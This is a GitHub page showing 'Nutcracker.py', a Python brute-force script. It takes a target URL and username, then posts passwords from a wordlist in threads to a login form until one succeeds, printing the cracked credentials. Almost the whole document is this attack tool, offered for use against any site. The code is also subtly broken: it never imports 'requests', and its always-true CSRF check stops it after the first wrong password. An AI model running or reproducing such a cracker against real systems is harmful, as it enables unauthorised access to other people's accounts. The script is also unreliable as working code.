-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathNutcracker.py
100 lines (83 loc) · 4.54 KB
/
Nutcracker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
######################################################################################################
# Title: Dussle Nutcracker #
# Author: F5 #
# #
######################################################################################################
print ("""
███ ██ ██ ██ ██████████ ███████ ████████ ███████ ███████ ██ ██ █████████ ████████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██
██ ██ ██ ██ ██ ██ ██ ████████ █████████ ██ ████ ██████ ████████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ████ ██████ ██ ███████ ██ ██ ██ ██ ███████ ██ ██ █████████ ██ ██
F5 Works
""")
import threading
import time
import sys
class BruteForceCracker:
def __init__(self, url, username, error_message):
self.url = url
self.username = username
self.error_message = error_message
for run in banner:
sys.stdout.write(run)
sys.stdout.flush()
time.sleep(0.02)
def crack(self, password):
data_dict = {"LogInID": self.username, "Password": password, "Log In": "submit"}
response = requests.post(self.url, data=data_dict)
if self.error_message in str(response.content):
return False
elif "CSRF" or "csrf" in str(response.content):
print("CSRF Token Issue")
sys.exit()
else:
print("Username: ---> " + self.username)
print("Password: ---> " + password)
return True
def crack_passwords(passwords, cracker):
count = 0
for password in passwords:
count += 1
password = password.strip()
print("Trying Password: {} Time For => {}".format(count, password))
if cracker.crack(password):
return
def main():
url = input("Enter Target Url: ")
username = input("Enter Target Username: ")
error = input("Enter Wrong Password Error Message(use NT for Default): ")
cracker = BruteForceCracker(url, username, error)
with open("NutcrackerSaves.txt", "r") as f:
chunk_size = 1000
while True:
passwords = f.readlines(chunk_size)
if not passwords:
break
t = threading.Thread(target=crack_passwords, args=(passwords, cracker))
t.start()
if __name__ == '__main__':
banner = """
Connecting to:
Lana Bot Dussle Services...
Done!
Connected to Device Intern Services
(This Happens twice)
(If Internet connection is missing it may lead to crashes of the Programm and the Device)
████ ████ ████
[+]████ ████ ████ ████ ████ ████[+]
████ ████
"""
print(banner)
main()
########## #
# #
# #
########## #
# #
#
#
#